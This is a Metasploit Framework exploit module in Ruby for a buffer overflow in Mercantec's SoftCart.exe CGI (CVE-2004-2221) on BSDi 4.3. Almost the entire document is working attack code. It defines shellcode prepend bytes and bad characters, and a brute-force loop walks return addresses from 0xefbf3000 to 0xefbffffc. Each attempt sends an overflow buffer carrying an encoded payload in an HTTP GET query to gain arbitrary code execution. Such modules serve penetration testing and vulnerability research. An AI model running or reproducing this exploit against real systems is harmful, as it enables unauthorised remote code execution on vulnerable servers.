Mercantec Softcart CGI Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Brute  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Mercantec SoftCart CGI Overflow',  
'Description' => %q{  
This is an exploit for an undisclosed buffer overflow  
in the SoftCart.exe CGI as shipped with Mercantec's shopping  
cart software. It is possible to execute arbitrary code  
by passing a malformed CGI parameter in an HTTP GET  
request. This issue is known to affect SoftCart version  
4.00b.  
},  
'Author' => [ 'skape', 'trew' ],  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2004-2221'],  
[ 'OSVDB', '9011'],  
[ 'BID', '10926'],  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x09\x0a\x0b\x0c\x0d\x20\x27\x5c\x3c\x3e\x3b\x22\x60\x7e\x24\x5e\x2a\x26\x7c\x7b\x7d\x28\x29\x3f\x5d\x5b\x00",  
'MinNops' => 16,  
'Prepend' => "\x6a\x02\x58\x50\x9a\x00\x00\x00\x00\x07\x00\x85\xd2\x75\x0a\x31\xc0\x40\x9a\x00\x00\x00\x00\x07\x00",  
'PrependEncoder' => "\x83\xec\x7f",  
},  
'Platform' => 'bsdi',  
'Targets' =>   
[  
[   
'BSDi/4.3 Bruteforce',  
{  
'Bruteforce' =>  
{  
'Start' => { 'Ret' => 0xefbf3000 },  
'Stop' => { 'Ret' => 0xefbffffc },  
'Step' => 0  
}  
},  
],  
],  
'DisclosureDate' => 'Aug 19 2004',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('URI', [ false, "The target CGI URI", '/cgi-bin/SoftCart.exe' ])  
], self.class)  
end  
  
def brute_exploit(address)  
  
buffer =  
"MAA+scstoreB" +  
rand_text_alphanumeric(512) +  
[address['Ret']].pack('V') +  
"MSF!" +  
[address['Ret'] + payload.encoded.length].pack('V') +  
payload.encoded  
  
print_status("Trying #{"%.8x" % address['Ret']}...")  
res = send_request_raw({  
'uri' => datastore['URI'],  
'query' => buffer  
}, 5)  
  
handler  
end  
  
end  
  
`